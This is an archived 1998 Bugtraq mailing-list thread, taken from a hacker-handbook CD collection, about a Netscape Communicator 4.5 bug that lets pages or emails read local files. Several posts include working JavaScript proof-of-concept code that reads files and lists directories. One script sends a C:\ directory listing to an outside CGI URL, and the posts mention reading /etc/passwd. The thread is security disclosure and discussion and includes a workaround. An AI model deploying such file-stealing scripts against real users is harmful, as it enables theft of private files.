home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / nsreaddir.txt < prev    next >
Encoding:
Text File  |  1998-12-04  |  8.3 KB  |  226 lines

  1. [ http://www.rootshell.com/ ]
  2.  
  3. Date: Mon, 23 Nov 1998 10:36:40 PST
  4. From: Georgi Guninski <guninski@HOTMAIL.COM>
  5. Subject: Netscape Communicator 4.5 can read local files
  6.  
  7. There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for
  8. WinNT 4.0 (probably others) which allows reading files from the user's
  9. computer. It is not necessary the file name to be known, because directories
  10. may be browsed. The contents of the file may be sent to an arbitrary host.
  11. In order this to work, you need both Java and Javascript enabled. The bug
  12. may be exploited by email message.
  13.  
  14. Demonstration is available at:
  15. http://www.geocities.com/ResearchTriangle/1711/b6.html
  16.  
  17. Workaround: Disable Javascript or Java.
  18.  
  19. The Javascript code is:
  20.  
  21. sl=window.open("wysiwyg://1/file:///C|/");
  22. sl2=sl.window.open();
  23. sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your
  24. file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new
  25. java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) &&
  26. (i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'";
  27.  
  28. Regards,
  29. Georgi Guninski
  30. http://www.geocities.com/ResearchTriangle/1711
  31.  
  32. Date: Mon, 23 Nov 1998 20:49:37 +0000
  33. From: The Spirit of the Black Panther <panther@DSIS.NET>
  34. Subject: Re: Netscape Communicator 4.5 can read local files
  35.  
  36. I have just tested this bug in Netscape 4.5 on a RedHat Linux 5.1 machine,
  37. Kermel 2.0.34 and with minor patching of the java, it is also effective.  I
  38. was sucessful in retrieving ANY LOCAL FILE with the World readable
  39. attribute. This includes the /etc/passwd file!  In netscape,
  40. Edit>Preferences>Advanced>Disable Javascript in Mail and News will block
  41. this exploit, unless the person has access to your web server.
  42.  
  43. Date: Tue, 24 Nov 1998 20:23:25 -0800
  44. From: Ryan Russell <Ryan.Russell@SYBASE.COM>
  45. Subject: Re: Netscape Communicator 4.5 can read local files
  46.  
  47. It's vastly different.  Did you try creating c:\test.txt and putting
  48. something in it, and going to that page?  Notice that it pops the first line
  49. in a dialog box.  That means it has that info under programmatic contol, and
  50. can send it across the network back to the web server, exactly as claimed in
  51. the original advisory.
  52.  
  53. Contrast that with (you) opening your c: drive with Communicator. You can
  54. browse local files, but only you get to see the contents, and that window
  55. isn't under any kind of programmatic control
  56. >from other windows... at least that's how it's supposed to work.
  57.  
  58. It's similar to the Java sandbox concept.  Local and signed content are
  59. "trusted" and can do whatever they like, whereas remotely loaded content are
  60. "untrusted" and aren't supposed to be able to perform certain operations. 
  61. When you (well, Netscape and Microsoft) try to mix the two, invariably
  62. mistakes will be made, and leaks will happen between the two.
  63.  
  64.  
  65.                          Ryan
  66.  
  67. ----------------------------------------------------------------
  68.  
  69. Date: Wed, 25 Nov 1998 15:28:45 -0500
  70. From: Terence Christopher Haddock <haddock@UDEL.EDU>
  71. Reply-To: thaddock@poboxes.com
  72. Subject: Re: Netscape Communicator 4.5 can read local files
  73.  
  74.         This security hole is not limited to knowing a specific file name,
  75. it can be used to list the contents of a directory, which I believe is
  76. much more insidious. This script can send a list of the files in the
  77. user's root directory under windows:
  78.  
  79. sl=window.open("wysiwyg://1/file://C|/");
  80. sl2=sl.window.open();
  81. sl2.location="javascript:"+
  82. "b=\"Here is the files in your root directory:\";"+
  83. "var f=new java.io.file(\"C:\\\\\");"+
  84. "var files=f.list();"+
  85. "for (var x=0;x<files.length;x++){"+
  86. "b+=files[x]+\"\n\""+
  87. "};"+
  88. "alert(b);";
  89.  
  90.         (Simple to modify it for UNIX)
  91.         Using a search algorithm the script could search for specific
  92. files by running this recursively. The only problem (from a hacker's
  93. perspective, a good thing from our perspective) is all of the windows it
  94. would open. If a way could be worked around this (which I think it can),
  95. this script could run without a user even knowing it, searching the user's
  96. directories and reporting them to a server.
  97.  
  98. Sincerely,
  99. Terence C. Haddock
  100.  
  101. ----------------------------------------------------------------
  102.  
  103. Terence Christopher Haddock (haddock@UDEL.EDU)
  104. Wed, 25 Nov 1998 14:22:12 -0500 
  105.  
  106.  
  107.         Ben Collin's file contains the text "this is really stupid.". He's
  108. running an UNIX version of Netscape, so I had to modify the script.
  109. Unfortunately, the following does not work under both UNIX and Windows:
  110.  
  111. sl=window.open("wysiwyg://1/file://");
  112.  
  113.         It works under UNIX, but not under Windows. A simple check of the
  114. OS would take care of the distinction, however, so that wouldn't slow any
  115. would-be hackers down. Also, if they know their target, then they know
  116. what kind of OS they're dealing with.
  117.  
  118. Sincerely,
  119. Terence C. Haddock
  120. University of Delaware
  121.  
  122. On Wed, 25 Nov 1998, Ben Collins wrote:
  123.  
  124. > I would just like to say that I find it hard to believe so much fuss has
  125. > been made about this. It is clear that this is only a local 'trick' to
  126. > look like it has gotten info. There used to be earlier versions of this
  127. > where ppl would make a link to file:///C|/ and say they had your hardrive
  128. > contents on their webpage, and now that java/javascript is involved
  129. > everyone is freaking out over the same thing just done a litte more
  130. > elaborately.
  131. >
  132. > If some one here can setup a webpage, send me the URL, have that page read
  133. > the file '/test.txt' from my hardrive and then that person send the
  134. > contents to this list, I will believe. Otherwise I think this whole
  135. > hysteria over 'unforseen' dangers should stop.
  136. >
  137. > --
  138. > -----    -- - -------- --------- ----  -------  -----  - - ---   --------
  139. > Ben Collins <b.m.collins@larc.nasa.gov>                  Debian GNU/Linux
  140. > UnixGroup Admin - Jordan Systems Inc.                 bcollins@debian.org
  141. > ------ -- ----- - - -------   ------- -- The Choice of the GNU Generation
  142.  
  143. ----------------------------------------------------------------
  144.  
  145. Date: Thu, 26 Nov 1998 12:31:35 +0100
  146. From: Michael Teichmann <teichmann@TECMATH.DE>
  147. To: BUGTRAQ@netspace.org
  148. Subject: Re: Netscape Communicator 4.5 can read local files
  149.  
  150. > I've whipped up a couple of demos of this bug that send the contents to a
  151. > cgi.  There is a windows version that I know works, and a unix version I
  152. > can't test because my linux box is down (it's a hardware thing).  This is
  153. > for anyone who has doubts....
  154. >
  155. > http://www.kics.bc.ca/~trev/cgi-bin/test.html (Windoze)
  156. >
  157. > http://www.kics.bc.ca/~trev/cgi-bin/test-unix.html (UNIX)
  158. >
  159. > And yes, it can email it to you if you like :)
  160.  
  161. And if you wish, it can even read your directory structure: (works for
  162. Win, but Unix should be straightforward)
  163.  
  164. //slight change of Trev's script:
  165. <SCRIPT>
  166. alert("List your files in C:\\ and it will be sent to a cgi script.");
  167.  
  168. sl=window.open("wysiwyg://1/file:///C|/");
  169. sl2=sl.window.open();
  170. sl2.location="javascript:s='<SCRIPT>b=\"\";var f = new
  171. java.io.File(\"C:\\\\\\\\\"); var fl=f.list(); i=0; while(i < fl.length)
  172. {b += fl[i]+\"\\\\n\";
  173. i++;}w=window.open(\"http://www.kics.bc.ca/~trev/cgi-bin/query_string.cgi?\"+escape(b));</'+'SCRIPT>'";
  174.  
  175. </SCRIPT>
  176.  
  177.  
  178. At least it seems it can not *write* to local files,
  179. I get a security exception when I try that.
  180.  
  181. ----------------------------------------------------------------
  182.  
  183. Date: Thu, 26 Nov 1998 17:43:31 +0100
  184. From: Norbert Luckhardt <nl@CT.HEISE.DE>
  185. To: BUGTRAQ@netspace.org
  186. Subject: Re: Netscape Communicator 4.5 can read local files
  187.  
  188. -----BEGIN PGP SIGNED MESSAGE-----
  189.  
  190. Hi there,
  191.  
  192. At 19:36 23.11.98 , you wrote:
  193. >There is a bug in Netscape Communicator 4.5 for Windows 95
  194. and 4.05 for
  195. >WinNT 4.0 (probably others)
  196.  
  197. we just tried it on the Mac - surely the script has to be
  198. adapted since the mac doesn't use drive letters - so if You
  199. don't know the names of the drive you cannot give an
  200. absolute path - but it could work with relative paths:
  201.  
  202. sl=window.open("wysiwyg://1/file:////");
  203.  
  204. those 4 slashes show the directory in which netscape is
  205. installed (every extra slash goes one dir up)
  206.  
  207. it is at least possible to get files from that directory
  208. with:
  209.  
  210. java.io.File(\"test.txt\")
  211.  
  212. alas I'm not so firm with JavaScript and thus I did not get
  213. a working code with the quoting for higher dir levels -
  214. earned only JavaScript Errors
  215.  
  216. but I think this is only my personal problem, isn't it?! ;-)
  217.  
  218. have fun, Shalom dann,
  219.         NOrbert
  220.  
  221. --
  222. Norbert Luckhardt   http://www.heise.de/ct/Redaktion/nl/
  223. Redaktion c't       Tel.: +49 511 5352 - 300    Fax: +49 511 5352 - 417
  224. Helstorfer Str. 7   D-30625 Hannover            BBS: +49 511 5352 - 301
  225.  
  226.